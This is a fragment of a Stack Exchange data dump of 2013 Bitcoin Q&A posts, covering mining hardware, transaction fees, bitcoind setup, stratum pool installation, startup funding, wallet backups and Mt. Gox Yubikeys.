CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11734" PostTypeId="2" ParentId="11732" CreationDate="2013-06-20T06:47:54.720" Score="4" Body="&lt;p&gt;The entire transaction (except for the signatures) must be signed with the appropriate key for each transaction output it claims. Tampering with any of the outputs with invalidate all the signatures.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-06-20T06:47:54.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11735" PostTypeId="2" ParentId="2283" CreationDate="2013-06-20T07:39:38.833" Score="3" Body="&lt;p&gt;ASICs might make a data furnace idea easier since they take up much less space to generate high hash rates per watt.  The Block Erupter USB project puts an ASIC in a powered USB stick package.  Imagine a series of these ASICs coupled to a standard home baseboard radiator heat sink and controlled by a low power Rasberry Pi computer with Wifi to the net.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you are buying a device that breaks even on power, the primary cost factor is upfront cost to buy the hardware.  Right now, they cost about $200 per Block Erupter for 300 Mhash/sec at around 3 Watts of power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that price, getting to the 1200 Watts typical for a room heater would cost $80K for 400 units.  However, you could recoup this investment by selling the bitcoins generated.  After deducting power costs, you could recoup the cost in only a year at current difficulty levels.  Break even could take much longer than a year though as many ASICs are now hitting the market and will increase difficulty levels.  But the point remains that after recouping your hardware cost the heat becomes free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those of you living in California this is not a big deal, but free heat to anyone living in Scandinavia would certainly be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4928" LastActivityDate="2013-06-20T07:39:38.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11736" PostTypeId="2" ParentId="11731" CreationDate="2013-06-20T07:45:00.480" Score="1" Body="&lt;p&gt;One possibility is that the transaction was injected by the same person who mined the block. Thus the same person who paid the fee collected the fee.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-06-20T07:45:00.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11737" PostTypeId="2" ParentId="11731" CreationDate="2013-06-20T08:12:21.527" Score="3" Body="&lt;p&gt;What's also possible is that someone mistakenly swapped the sending amount and the transaction fee amount. I almost did that with the bockchain.info wallet but luckily noticed it in the confirmation screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, he could have intended a fee of 0.02314796 BTC and tried to send 2.7 BTC to the address. The other 65+ BTC could be just change.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-06-20T08:12:21.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11738" PostTypeId="2" ParentId="11731" CreationDate="2013-06-20T10:42:53.907" Score="0" Body="&lt;p&gt;Hard to tell if it was intended or accidental, but &lt;a href=&quot;http://blockchain.info/tx/1d7749c65c90c32f5e2c036217a2574f3f4403da39174626b246eefa620b58d9&quot; rel=&quot;nofollow&quot;&gt;there&lt;/a&gt; &lt;a href=&quot;http://blockchain.info/tx/098b3a9faeb2c6e5dc42878b9d0a1106d4aafce72c85d0eab54c384652e0bdbc&quot; rel=&quot;nofollow&quot;&gt;are&lt;/a&gt; &lt;a href=&quot;http://blockchain.info/tx/13dffdaef097881acfe9bdb5e6338192242d80161ffec264ee61cf23bc9a1164&quot; rel=&quot;nofollow&quot;&gt;many&lt;/a&gt; &lt;a href=&quot;http://blockchain.info/tx/1dbd420f23f8ac58b994c7b84f8667670dfcad39ec9f34e555a0c6281b7e2c04&quot; rel=&quot;nofollow&quot;&gt;other&lt;/a&gt; &lt;a href=&quot;http://blockchain.info/tx/b9032a5eb76ca8b8b13163157278264d534377cf9885fad981df7b02174ea550&quot; rel=&quot;nofollow&quot;&gt;transactions&lt;/a&gt; out there that have very high fees.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-06-20T10:42:53.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11739" PostTypeId="2" ParentId="11711" CreationDate="2013-06-20T11:02:49.923" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The Utility defined as the number of shares / minute&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Its the number of shares your miner is contributing per minute. If you're looking at the overall Utility values, its the combined number of shares all miners are contributing per minute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=28402.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=28402.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5647" LastActivityDate="2013-06-20T11:02:49.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11740" PostTypeId="2" ParentId="11514" CreationDate="2013-06-20T12:14:44.617" Score="3" Body="&lt;p&gt;In my experience scrypt mining on GPUs is quite susceptible to cause HW errors and wrong nonces if the parameters are not chosen to match the GPUs the algorithm is run on. As the &lt;a href=&quot;https://github.com/ckolivas/cgminer/blob/master/SCRYPT-README&quot; rel=&quot;nofollow&quot;&gt;SCRYPT-README&lt;/a&gt; file of cgminer states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The reason this is crucial is that too high an intensity can actually&#xA;  be disastrous with scrypt because it CAN run out of ram. High&#xA;  intensities start writing over the same ram and it is highly dependent&#xA;  on the GPU, but they can start actually DECREASING your hashrate, or&#xA;  even worse, start producing garbage with HW errors skyrocketing. Note&#xA;  that if you do NOT specify an intensity, cgminer uses dynamic mode&#xA;  which is designed to minimise the harm to a running desktop and&#xA;  performance WILL be poor. The lower limit to intensity with scrypt is&#xA;  usually 8 and cgminer will prevent it going too low.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;--benchmark&lt;/code&gt; option you specified in your command line tells cgminer to attempt to find an optimal set of parameters, so it will make a few attempts with high intensities as well, which will fail. Once you figured out a good value for the parameters you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-06-20T12:14:44.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11743" PostTypeId="2" ParentId="11728" CreationDate="2013-06-20T15:09:59.333" Score="5" Body="&lt;p&gt;As far as i know, you are running the bitcoind client as it should be run.&#xA;You need to explicitly say that you want your bitcoind to be run as a daemon.&#xA;try changing your server=1 configuration lines to this (your comment may have inadvertently messed with bitcoin... but i don't know that for any fact, just a hypothesis) here's your example modified&lt;/p&gt;&#xA;&#xA;&lt;p&gt;# JSON-RPC options (for controlling a running Bitcoin/bitcoind process)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;# server=1 tells Bitcoin-QT to accept JSON-RPC commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;server=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when in doubt run bitcoind in one cmd window and bring up a second one.&#xA;Recurse in to the directory containing bitcoind (inside that second cmd window).&#xA;Then try to run a simple command (try bitcoind getblockcount) if you get a result then you know bitcoind is working, but it is not starting as a background service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the bitcoin-qt client, don't edit anything in the config file. Configure the Bitcoin client to start automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&#xA;GUI-Settings:&#xA;Settings -&gt; Options&#xA;then mark the checkbox titled:&#xA;[X] Start Bitcoin on system startup&#xA;&quot;&#xA;Source: &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if your reason for using bitcoind over bitcoin-qt is due to the ability to pass text commands to bitcoin: the console is accessible from the Help menu (Help-&gt;Debug-&gt;console)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not going to claim i know everything, and im sure some of this is not perfect information, but i will update it and gladly work through issues with anyone i can help. Just be kind ;)&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2013-06-20T15:09:59.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11744" PostTypeId="2" ParentId="10044" CreationDate="2013-06-20T15:40:19.283" Score="1" Body="&lt;p&gt;i have come back to post up all the information i can for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;through the last few months of working with Stratum-mining i have come to some conclusions: you need to know python well to get this working on anything but bitcoin... That being said, its possible to install stratum over a current custom pushpool installation through a project I released and am working on. (Currently it is for freicoin but there are two trivial changes you can make to get my implementation to work on litecoin). There is also another implementation of stratum-mining that you can use that was last updated on Jun 6 2013 (i would suggest using this versus my code if you are installing from scratch or using MMCFE currently. my version of the code is designed to be more friendly to version 2 getblocktemplate, where as litecoin only supports getblocktemplate version 1 at this time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future it may be extremely useful to diff these two implementations as they have different database schemas...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mean time,&#xA;Here's how to install stratum-mining-litecoion a NEW system OR a system with MMCFE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;step 1) back up your database&#xA;step 2) back up your database&#xA;step 3) back up your database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://github.com/Neozonz/stratum-mining-litecoin/blob/master/INSTALL&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Neozonz/stratum-mining-litecoin/blob/master/INSTALL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; Installation Instructions&#xA;&amp;gt; =========================&#xA;&amp;gt; &#xA;&amp;gt; Step 0. Install litecoind     NOTE: Litecoind currently only supports&#xA;&amp;gt; getblocktemplate version 1. This code was changed to support version&#xA;&amp;gt; 1.    Set it up and start it!     Downloading the blockchain can take a few hours to a couple days!&#xA;&amp;gt; &#xA;&amp;gt; Step 1. Install the stratum core  git pull&#xA;&amp;gt; https://github.com/slush0/stratum.git     sudo easy_install stratum    &#xA;&amp;gt; (or if using alternate python: sudo /usr/local/bin/easy_install&#xA;&amp;gt; stratum)&#xA;&amp;gt; &#xA;&amp;gt; Step 2. Pull a copy of the miner  git pull&#xA;&amp;gt; https://github.com/moopless/stratum-mining-litecoin.git&#xA;&amp;gt; &#xA;&amp;gt; Step 3. Configure the Miner   cp conf/config_sample.py conf/config.py&#xA;&amp;gt;   make your changes to conf/config.py     Make sure you set the values in&#xA;&amp;gt; BASIC SETTINGS! These are how to connect to litecoind       and where&#xA;&amp;gt; your money goes!&#xA;&amp;gt; &#xA;&amp;gt; Step 4. Run the pool  twistd -ny launcher.tac -l -    OR - using&#xA;&amp;gt; alternate python  /usr/local/bin/twistd -ny launcher.tac -l -&#xA;&amp;gt; &#xA;&amp;gt; You can now set the URL on your stratum proxy (or miner that supports&#xA;&amp;gt; stratum) to: http://YOURHOSTNAME:3333&#xA;&amp;gt; &#xA;&amp;gt; Database Setup&#xA;&amp;gt; ========================= Table Creation: Tables are auto-created if they don't exist (I will be adding a schema file later)&#xA;&amp;gt; &#xA;&amp;gt; None: Well, this doesn't do anything, so there is nothing to set up&#xA;&amp;gt; &#xA;&amp;gt; Sqlite: THIS IS THE DEFAULT! Just set the file path in the config file&#xA;&amp;gt; (or keep the default.) Support for sqlite3 is built into recent python&#xA;&amp;gt; versions. A couple notes for Sqlite:&#xA;&amp;gt;   - Sqlite and threading/concurancy just doesn't work right for that reason it is disabled.&#xA;&amp;gt;   - Since threading is disabled, The server will &quot;pause&quot; when archiving happens, this will affect         your miners. However this will not happen&#xA;&amp;gt; often (24 hours after finding a share)&#xA;&amp;gt; &#xA;&amp;gt; Postgresql:&#xA;&amp;gt; 1. Set up your parameters in the config file.&#xA;&amp;gt; 2. Install the postgresql libraries in your os:   Redhat and the like:        yum install postgresql-libs postgresql-devel    Ubuntu and the like:&#xA;&amp;gt;       apt-get install postgresql postgresql-devel&#xA;&amp;gt; 3. Install the python bindings    easy_install psycopg2&#xA;&amp;gt; &#xA;&amp;gt; Mysql:&#xA;&amp;gt; 1. Set up your parameters in the config file.&#xA;&amp;gt; 2. Install the mysql libraries in your os:    Redhat and the like:        yum install mysql mysql-devel   Ubuntu and the like:        apt-get install&#xA;&amp;gt; mysql mysql-devel&#xA;&amp;gt; 3. Install the python bindings    easy_install mysql-python&#xA;&amp;gt; 4. Create a database and user.&#xA;&amp;gt; &#xA;&amp;gt; Problems????&#xA;&amp;gt; =========================&#xA;&amp;gt; &#xA;&amp;gt; Is your firewall off? Is litecoin running?&#xA;&amp;gt; &#xA;&amp;gt; TODO: are there other problems?&#xA;&#xA;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are already using pushpool and a custom frontend and don't want to write over your system, i have a working (but a bit buggy with MBPM due to the nature of my project) &quot;install over&quot; version of stratum mining for freicoin available here &lt;a href=&quot;https://bitbucket.org/joeswhite/joes-stratum-mining-freicoin/src/8eec8a0b11c6?at=master&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/joeswhite/joes-stratum-mining-freicoin/src/8eec8a0b11c6?at=master&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is how to install my version (DO NOT INSTALL THIS VERSION UNLESS YOU HAVE EXPERIENCE CODING!), there is an added step for the litecoin implementation but it is not yet tested by me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;&#xA;&#xA;&amp;gt; stratum-mining Basic implementation of bitcoin mining pool using&#xA;&amp;gt; Stratum mining protocol. This fork includes a database implementation&#xA;&amp;gt; for: None Sqlite Mysql Postgresql Basic worker stats are provided (and&#xA;&amp;gt; updated) See the INSTALL file for install instructions. For more info&#xA;&amp;gt; on Stratum: http://mining.bitcoin.cz/stratum-mining. Original version&#xA;&amp;gt; by Slush Updated version by GeneralFault (Tips Welcome:&#xA;&amp;gt; 15Zk7DoFYJ7hESpZzmix1WLkomTMGW81c2 ) This version by Joe White&#xA;&amp;gt; http://pool.cr.rs (freicoin mining pool) Joe's Stratum Mining Freicoin&#xA;&amp;gt; Implementation of generalfault's&#xA;&amp;gt; https://github.com/generalfault/stratum-mining that works with Mark&#xA;&amp;gt; Friedenbach's https://github.com/freicoin/stratum-mining This&#xA;&amp;gt; installation can be put directly over top of your current pushpoold&#xA;&amp;gt; Known bugs: Does not handle subscriptions properly upon connection,&#xA;&amp;gt; but properly pushes block template and everything submits without&#xA;&amp;gt; issue To do: add Joe's Pool front end in to implementation&#xA;&amp;gt; (simplebtc's implementation heavily modified) add firewalls, security&#xA;&amp;gt; services, add google authenticator, add other things like tripwire.&#xA;&amp;gt; how to: Easy: download vmware image go to town make sure to set up any&#xA;&amp;gt; and all firewalls, security measures, and other information. manual:&#xA;&amp;gt; first download freicoin from freico.in/downloads install freicoin edit&#xA;&amp;gt; your freicoin.conf file change the rpc port for security (i like to&#xA;&amp;gt; mix it up on each server i use) nano .freicoin/freicoin.conf something&#xA;&amp;gt; like this works (freicoin.conf file): server=1&#xA;&amp;gt; rpcuser=changethisusername rpcpassword=changethispassword rpcport=4252&#xA;&amp;gt; rpcallowip=127.0.0.1 test to make sure freicoind works once you are&#xA;&amp;gt; sure of that, then get the git package git clone make the stratum log&#xA;&amp;gt; directories mkdir /stratum mkdir /stratum/log/ touch&#xA;&amp;gt; /stratum/log/stratum.log recurse in to the directory and edit&#xA;&amp;gt; conf/config.py MAKE SURE TO READ AND CONFIGURE ALL SETTINGS!!!! I HAVE&#xA;&amp;gt; DISABLED PLUG AND PLAY FOR YOUR SAFETY/SECURITY nano conf/config.py&#xA;&amp;gt; ALWAYS BACK UP BEFORE STARTING ANYTHING!!! YOUR DATABASE COULD GET&#xA;&amp;gt; SCREWED! I CAN NOT BE HELD LIABLE FOR ANYTHING, ESP THAT! import the&#xA;&amp;gt; database if you are starting from scratch (it is not standard and is&#xA;&amp;gt; not optimized, you could opt to make your own database and edit&#xA;&amp;gt; DB_Mysql.py (or corresponding database) and edit anything that is a&#xA;&amp;gt; sql execution (anything that has &quot;select * from, or any other sql&#xA;&amp;gt; statements can be easily updated without changing most or anythign on&#xA;&amp;gt; the server side schema.sql &amp;lt;- THIS IS THE SCHEMA FOR THIS&#xA;&amp;gt; IMPLEMENTATION OF joe's THIS SCHEMA IS NOT OPTIMIZED AT ALL! ALWAYS&#xA;&amp;gt; BACK UP BEFORE STARTING ANYTHING!!! YOUR DATABASE COULD GET SCREWED! I&#xA;&amp;gt; CAN NOT BE HELD LIABLE FOR ANYTHING, ESP THAT! start a new screen so&#xA;&amp;gt; you don't log out and stratum crashes (this is helpful for logging&#xA;&amp;gt; too) screen&#xA;&#xA;&quot;&#xA;&#xA;*litecoin specific step&#xA;At this point you need to go back and write over (at very least) the halfnode.py block_template.py and coinbasetx.py files with the files provided in stratum-mining-litecoion. most likely you will need to write over all of them. (This is the untested part i was talking about).&#xA;&#xA;&#xA;&quot;&#xA;&#xA;&amp;gt; ./startjoes.sh it should load up and work, you will see one error on&#xA;&amp;gt; submission at this time it is okay this error does not affect any pool&#xA;&amp;gt; performance, it is tested working. please update this as there are&#xA;&amp;gt; many probable errors. I have included the sql architecture for this&#xA;&amp;gt; implementation as it is not standard and can plug-and-play over an&#xA;&amp;gt; existing pushpool implementation ALWAYS BACK UP BEFORE STARTING&#xA;&amp;gt; ANYTHING!!! YOUR DATABASE COULD GET SCREWED! I CAN NOT BE HELD LIABLE&#xA;&amp;gt; FOR ANYTHING, ESP THAT!&#xA;&#xA;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to get an implementation up today or tomorrow and can report back any changes i need to make then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if this was a satisfactory answer, if not. I will update this until it is. Thanks for not bashing me ;)&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2013-06-20T15:40:19.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11745" PostTypeId="2" ParentId="11695" CreationDate="2013-06-20T18:09:13.693" Score="2" Body="&lt;p&gt;You definitely need to consult with lawyers experienced with VC and crowd funding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this climate, it would be pretty easy for you guys to get very favorable VC terms, considering the general funding environment, the recency of other VC events in bitcoin, and their relative valuations. Given the popularity of your service, it probably wouldn't be too difficult to raise the money you needed through bitcoin ipo either. Having options is good, as you can play the options against each other for better valuation and terms. I am not familiar with bitcoin IPOs, so I will comment mostly on going on the VC track or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;VC funding could boost you to the next level&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strategically, it really depends on what you guys want the money for, how you perceive future risks, and where you see yourself in the future. VC money typically ties you into a fast hiring and fast growth track, and execution towards an exit in 4-5 years as you guys already noted. If you find yourself strained because of growth capital, engineering talent, lack of the right contacts, and you think it is a land grab situation, then VC funding makes total sense. If you need top engineers, VC money could help with legitimacy and source talent. If you need industry advisors, VC funding could help you get in touch with important and busy people. But VC funding comes at a price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;VC funding could kill you&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an emerging environment like bitcoin, the strings attached with VC funding could kill you. An example I saw was the emergence of penny auction websites a couple years ago. There were many sites with a lot of VC funding. Off the top of my head, swoopo ($14 million), bigdeal ($4.5 million). They both failed to navigate the legal compliance, customer satisfaction, credit card processing, and user acquisition aspects of penny auctions, and are now dead. In contrast, there are still several privately funded penny auctions that are very much thriving, including quibids, bidcactus, beezid. I personally think the VC funded startups were not able to deploy the funds effectively, and weren't able to stay scrappy and flexible long enough to get big like the non-VC funded penny auctions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Another Alternative - Angel Investors&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also leave out a 3rd option: Angel Investors. This group are not bound by the restrictions of a formal investment thesis and time sensitive returns expectations. If you are looking for $700k to $1.5 million, raising an angel round maybe viable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What Would I Do?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind, I am some random guy on the internet, who has cursory knowledge of your business. I view VC funding as rocket fuel, only to be used when the rocket is already pointed and going in the right direction. Given the general uncertainty of bitcoin and early phases of adoption, and given your strong position as a more decentralized bitcoin exchange, I would try to hold off VC funding for X months, and try to use other funding sources while maintaining flexibility and control. Revisit the issue after X months and decide if the lack of it has caused you to miss your goals.&lt;/p&gt;&#xA;" OwnerUserId="4368" LastActivityDate="2013-06-20T18:09:13.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11747" PostTypeId="1" AcceptedAnswerId="11749" CreationDate="2013-06-20T21:14:04.993" Score="2" ViewCount="1268" Body="&lt;p&gt;I forgot the new passphrase for my wallet.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i previously backed up the wallet with a passphrase  i do remember. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i then access that previously saved wallet and recover my btc ?&lt;/p&gt;&#xA;" OwnerUserId="5655" LastEditorUserId="1307" LastEditDate="2013-06-21T08:56:56.273" LastActivityDate="2013-06-21T08:56:56.273" Title="Can an old passphrase recover my bitcoins using an old backup wallet.dat file?" Tags="|bitcoin-core|passphrase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11748" PostTypeId="1" AcceptedAnswerId="11752" CreationDate="2013-06-20T21:32:02.403" Score="11" ViewCount="1704" Body="&lt;p&gt;Sites like bitvisitor or cointube give away very small amounts of bitcoins (I actually got a payment as small as .0000035 BTC when testing).&lt;br&gt;&#xA;I am in the process of creating a service that awards users small amounts of bitcoins in exchange for doing some trivial work (akin to Amazon's Mechanical Turk). When experimenting, I tried using bitcoin-qt to send .0001 BTC to an address and it automatically added a .0005 fee onto it. Using Electrum, I couldn't get it to send until I set the fee to .0001 as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly doubt a fee like that was paid for the .0000035 BTC I received earlier), so how are these services eliminating or minimizing their fees? I know it's common to gather multiple &quot;inputs&quot; into a single transaction. Is it possible also to have a transaction with multiple outputs so that I can gather a hundred of these .0001 BTC payments into a single transaction and thus minimize the size (in kb) of the transactions and therefore the fees too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;Sites like BitVisitor do indeed combine these payments (see &lt;a href=&quot;https://blockchain.info/tx/b27f4ce7ad91c505e8b7e284d49b35fa2fbaceef8858cadec3e861d735b9d9f5&quot;&gt;here&lt;/a&gt;). So assuming there's no better way to minimize fees, how are they able to do this? I see no options in bitcoin-qt or Electrium for this.&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="5654" LastEditDate="2013-06-20T21:40:20.410" LastActivityDate="2013-06-21T04:25:11.963" Title="How do faucets/micropayment-based services avoid/minimize transaction fees?" Tags="|transactions|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11749" PostTypeId="2" ParentId="11747" CreationDate="2013-06-20T21:41:19.417" Score="4" Body="&lt;p&gt;The passphrase is stored as part of the wallet.dat file, so yes, that should work, as long as you haven't received any payments to addresses with private keys that don't exist in the old wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that these received payments can actually occur when you send a payment, as a hidden &quot;&lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;change&lt;/a&gt;&quot; amount is sent to an unused hidden private key which is stored in your wallet file. Your old wallet file &lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot; rel=&quot;nofollow&quot;&gt;should have had stored 100 of these&lt;/a&gt; generated in advance though, which means you're probably ok as long as you haven't used more than 100 private keys since your backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most payments you make will use one of the pre-generated private keys, as will each receiving addresses you create.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-06-21T08:53:59.570" LastActivityDate="2013-06-21T08:53:59.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11750" PostTypeId="2" ParentId="11748" CreationDate="2013-06-20T22:17:49.697" Score="3" Body="&lt;p&gt;A fee in a transaction is created based on the difference between inputs and outputs. The standard client imposes a minimum fee on a transaction it creates, but there is nothing stopping a custom transaction to be made that does not follow those fee rules. Using methods like &lt;code&gt;createrawtransaction&lt;/code&gt;, &lt;code&gt;signrawtransaction&lt;/code&gt; and &lt;code&gt;sendrawtransaction&lt;/code&gt;, once can easily make a zero-fee transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A small note - just because a transaction is created and sent to the client does not mean that the transaction will be broadcast to the network. The client still follows its rules to prioritise &quot;good&quot; transactions (old coins, small transaction size, adequate fee, etc) and hamper the &quot;bad&quot; transactions (small outputs, big transactions, low fees). Same with miners - they can chose not to include spammy transactions in blocks.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-06-20T22:17:49.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11751" PostTypeId="2" ParentId="7169" CreationDate="2013-06-20T22:28:20.253" Score="0" Body="&lt;p&gt;You might be able to reprogram a Mt. Gox Yubikey with &lt;a href=&quot;http://yubico.github.io/yubikey-personalization/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ykpers&lt;/code&gt;&lt;/a&gt; or the &lt;a href=&quot;http://yubico.github.io/yubikey-personalization-gui/&quot; rel=&quot;nofollow&quot;&gt;gui version&lt;/a&gt;, but then it probably won't work with Mt. Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: After following &lt;a href=&quot;http://forum.yubico.com/files/VIPunlockGuide.pdf&quot; rel=&quot;nofollow&quot;&gt;the instructions here&lt;/a&gt;, I discovered the Mt. Gox Yubikey is protected by a &quot;configuration protection access code.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://static.yubico.com/var/uploads/pdfs/YubiKey_manual-2.2.pdf&quot; rel=&quot;nofollow&quot;&gt;the manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Protection of the key and configuration data&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Given the symmetric nature of the AES encryption algorithm, the&#xA;  security of the Yubikey relies that the AES key is logically and&#xA;  physically protected both in the key and in the server that verifies&#xA;  the OTP.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The configuration data is updated via a configuration API, accessible&#xA;  via the USB interface. To prevent unauthorized update, the&#xA;  configuration can be protected by a 48-bit access code. If used, an&#xA;  exhaustive search of all combinations would typically take some&#xA;  100,000 years to perform. Furthermore, the Yubikey configuration data&#xA;  is write-only, i.e. configuration data and the key can only be written&#xA;  but not be read. This means that unauthorized update of the&#xA;  configuration is an act of sabotage rather than a security threat.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The configuration data is stored in a non-volatile storage integral to&#xA;  the microcontroller. A potential attack is to physically probe the&#xA;  silicon or analyze the hardware behavior to potentially gain full or&#xA;  partial knowledge of the stored secrets. However, such an attack would&#xA;  require a complete break-up of the Yubikey, involving dissolving the&#xA;  microcontroller chip encapsulation. Furthermore, very advanced&#xA;  equipment is needed to probe the chip internals. Given the effort and&#xA;  costs involved for such an attack, this is not considered a threat&#xA;  given that just a single device will be broken.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it should still be possible to &quot;sabotage&quot; a Mt. Gox Yubikey, no?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully the above description of how the Mt. Gox Yubikeys work helps you see why they can't use non-Mt. Gox Yubikeys: the &quot;configuration protection access code&quot; would no longer be Mt. Gox's secret.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2013-06-21T06:19:23.317" LastActivityDate="2013-06-21T06:19:23.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11752" PostTypeId="2" ParentId="11748" CreationDate="2013-06-21T04:25:11.963" Score="5" Body="&lt;p&gt;You have two questions here, so I'll answer them separately.  As far as how do faucets they avoid transaction fees, the answer is that they don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the faucet sites I've used use a service called Coinbox.me which collects requests for payments and bundles them up into one large chunk of payments.  This is how they minimize transaction fees - they don't send all the microtransactions at once, they wait until they have quite a few and then send them out.  I've looked at these transactions before when they're going through and they do have transaction fees that are being paid that is, as you said, larger than the amount being sent out.  But I have had transactions where it is being sent to at least a hundred addresses, so while one small amount may far less than the transaction fee, the total amount being sent out is significant enough that the service can pay a transaction fee while still paying out these microtransctions.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2013-06-21T04:25:11.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
